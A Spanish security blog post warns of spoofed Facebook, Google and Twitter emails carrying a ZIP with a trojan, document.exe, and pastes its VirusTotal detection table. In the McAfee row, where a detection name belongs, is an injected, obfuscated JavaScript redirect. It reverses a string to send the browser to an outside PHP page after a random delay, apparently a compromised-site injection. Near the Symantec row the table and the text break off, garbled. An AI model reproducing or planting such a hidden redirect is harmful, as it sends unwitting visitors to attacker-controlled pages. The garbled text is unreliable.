Mails masivos con falso remitente de FaceBook, Google y Twitter

Se están recibiendo estos días multitud de mails con falso remitente, anexando un ZIP que una vez desempaquetado ofrece un DOCUMENT.EXE:

File name: document.exe
Submission date: 2010-12-09 14:41:59 (UTC)
Current status: queued (#19) queued analysing finished
Result: 39/ 43 (90.7%)
 VT Community

malware
 Safety score: 0.0% 
Compact Print results Antivirus Version Last Update Result
AhnLab-V3 2010.12.09.00 2010.12.08 Win-Trojan/Buzus.640512.D
AntiVir 7.10.14.240 2010.12.09 TR/Buzus.gdef
Antiy-AVL 2.0.3.7 2010.12.09 Trojan/Win32.Buzus.gen
Avast 4.8.1351.0 2010.12.09 Win32:Malware-gen
Avast5 5.0.677.0 2010.12.09 Win32:Malware-gen
AVG 9.0.0.851 2010.12.09 Generic20.RDF
BitDefender 7.2 2010.12.09 Trojan.Generic.KDV.68538
CAT-QuickHeal 11.00 2010.12.09 Trojan.Buzus.gdef
ClamAV 0.96.4.0 2010.12.09 Trojan.Buzus-8525
Command 5.2.11.5 2010.12.09 –
Comodo 7000 2010.12.09 –
DrWeb 5.0.2.03300 2010.12.09 Trojan.MulDrop1.54160
Emsisoft 5.1.0.1 2010.12.09 Trojan.Win32.DelfInject!IK
eSafe 7.0.17.0 2010.12.09 –
eTrust-Vet 36.1.8029 2010.12.09 Win32/Fruspam.GD
F-Prot 4.6.2.117 2010.12.08 W32/Trojan3.CIH
F-Secure 9.0.16160.0 2010.12.09 Trojan-Downloader:W32/Malagent.C
Fortinet 4.2.254.0 2010.12.09 W32/Buzus.011E!tr
GData 21 2010.12.09 Trojan.Generic.KDV.68538
Ikarus T3.1.1.90.0 2010.12.09 Trojan.Win32.DelfInject
Jiangmin 13.0.900 2010.12.09 Trojan/Buzus.slb
K7AntiVirus 9.71.3191 2010.12.08 Trojan
Kaspersky 7.0.0.125 2010.12.09 Trojan.Win32.Buzus.gdef
McAfee 5.400.0.1158 2010.12.09 $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:W32/Xirtem@MM”>W32/Xirtem@MM
Microsoft 1.6402 2010.12.09 Trojan:Win32/Meredrop
NOD32 5688 2010.12.09 Win32/Merond.O
Norman 6.06.12 2010.12.08 W32/Bredolab.ACX
nProtect 2010-12-09.01 2010.12.09 Trojan/W32.Agent.640512.U
Panda 10.0.2.7 2010.12.08 W32/VobfusLNK.A
PCTools 7.0.3.5 2010.12.09 Email-Worm.Ackantta
Prevx 3.0 2010.12.09 Medium Risk Malware
Rising 22.77.03.05 2010.12.09 Trojan.Win32.Generic.5248DD41
Sophos 4.60.0 2010.12.09 W32/AutoRun-BHX
SUPERAntiSpyware 4.40.0.1006 2010.12.09 –
Symantec 20101.3.0.103 2010.12.09 to, que se trata de ingenieria social.

saludos

ms, 9-12-2010

__________

NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con
info@satinfo.es
__________

Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.

Puedes seguir cualquier respuesta a esta entrada mediante el canal RSS 2.0. Los comentarios y los pings están cerrados.

Los comentarios están cerrados.

 

Uso de cookies

Este sitio web utiliza cookies para que usted tenga la mejor experiencia de usuario. Si continúa navegando está dando su consentimiento para la aceptación de las mencionadas cookies y la aceptación de nuestra política de cookies, pinche el enlace para mayor información.

ACEPTAR
Aviso de cookies